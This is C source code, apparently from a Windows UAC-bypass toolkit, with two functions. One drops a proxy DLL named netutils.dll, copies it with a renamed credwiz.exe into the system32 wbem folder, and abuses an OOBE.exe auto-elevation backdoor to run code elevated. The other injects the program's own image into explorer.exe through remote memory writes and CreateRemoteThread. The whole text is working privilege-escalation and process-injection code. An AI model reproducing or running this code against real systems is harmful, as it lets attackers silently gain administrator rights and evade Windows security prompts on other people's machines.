/* * ucmH1N1Method * * Purpose: * * Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmH1N1Method( PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; DWORD c; HANDLE hProcess = NULL, hRemoteThread = NULL; HINSTANCE selfmodule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule; PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER)); LPVOID remotebuffer = NULL, newEp, newDp; SIZE_T NumberOfBytesWritten = 0; PELOAD_PARAMETERS_4 elvpar = &g_ElevParamsH1N1; LPVOID elevproc = ucmElevatedLaunchProc; WCHAR szBuffer[MAX_PATH * 2]; WCHAR szDest[MAX_PATH + 1]; WCHAR szSource[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) ) { return bResult; } do { //put Fubuki dll as netutils to %temp% RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, L"netutils.dll"); RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //copy dll to wbem target folder RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(WBEMDIR, szBuffer, MAX_PATH) == 0) { break; } //note: uacmAutoElevateCopyFile uses injection to explorer.exe bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } //copy 1st stage target process RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\credwiz.exe", szSource, MAX_PATH) == 0) { break; } RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStrings(L"%temp%\\oobe.exe", szDest, MAX_PATH) == 0) { break; } if (!CopyFile(szSource, szDest, FALSE)) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } //setup basic shellcode routines RtlSecureZeroMemory(&g_ElevParamsH1N1, sizeof(g_ElevParamsH1N1)); elvpar->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ldp.hShell32, "ShellExecuteExW"); elvpar->xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(g_ldp.hKernel32, "WaitForSingleObject"); elvpar->xCloseHandle = (pfnCloseHandle)GetProcAddress(g_ldp.hKernel32, "CloseHandle"); //set shellcode 2nd stage target process RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(elvpar->szTargetApp, g_ldp.szSystemDirectory); //c:\windows\system32\wbem\oobe.exe _strcat_w(elvpar->szTargetApp, L"\\wbem\\oobe.exe"); _strcpy_w(elvpar->szVerb, L"runas"); _strcpy_w(szBuffer, g_ldp.szSystemDirectory); //c:\windows\system32\credwiz.exe _strcat_w(szBuffer, L"\\credwiz.exe"); //run 1st stage target process hProcess = supRunProcessEx(szBuffer, NULL, NULL); if (hProcess == NULL) { OutputDebugString(TEXT("[UCM] Cannot open target process.")); break; } remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remotebuffer == NULL) { OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process.")); break; } if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) { OutputDebugString(TEXT("[UCM] Cannot write to the target process memory.")); break; } newEp = (char *)remotebuffer + ((char *)elevproc - (char *)selfmodule); newDp = (char *)remotebuffer + ((char *)elvpar - (char *)selfmodule); hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); bResult = (hRemoteThread != NULL); if (bResult) { WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); } } while (cond); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } return bResult; }
/* * ucmInject * * Purpose: * * Inject data and run remote thread inside Explorer process. * */ BOOL ucmInjectExplorer( _In_ LPVOID ElevParams, _In_ LPVOID ElevatedLoadProc ) { BOOL cond = FALSE, bResult = FALSE, bZombie = FALSE; DWORD c; HANDLE hProcess = NULL, hRemoteThread = NULL; HINSTANCE selfmodule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule; PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER)); LPVOID remotebuffer = NULL, newEp, newDp; SIZE_T NumberOfBytesWritten = 0; if ( (ElevParams == NULL) || (ElevatedLoadProc == NULL) ) { return bResult; } do { // // Open explorer handle with maximum allowed rights. // hProcess = supGetExplorerHandle(); if (hProcess == NULL) { hProcess = supRunProcessEx(L"explorer.exe", NULL, NULL); if (hProcess != NULL) { bZombie = TRUE; } } if (hProcess == NULL) { OutputDebugString(TEXT("[UCM] Cannot open target process.")); break; } // // Allocate buffer in target process and write itself inside. // remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remotebuffer == NULL) { OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process.")); break; } if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) { OutputDebugString(TEXT("[UCM] Cannot write to the target process memory.")); break; } // // Calculate new entry point offset and run remote thread with it. // newEp = (char *)remotebuffer + ((char *)ElevatedLoadProc - (char *)selfmodule); newDp = (char *)remotebuffer + ((char *)ElevParams - (char *)selfmodule); hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); bResult = (hRemoteThread != NULL); if (bResult) { WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); } } while (cond); // // Close target process handle. // if (hProcess != NULL) { if (bZombie) { TerminateProcess(hProcess, 0); } CloseHandle(hProcess); } return bResult; }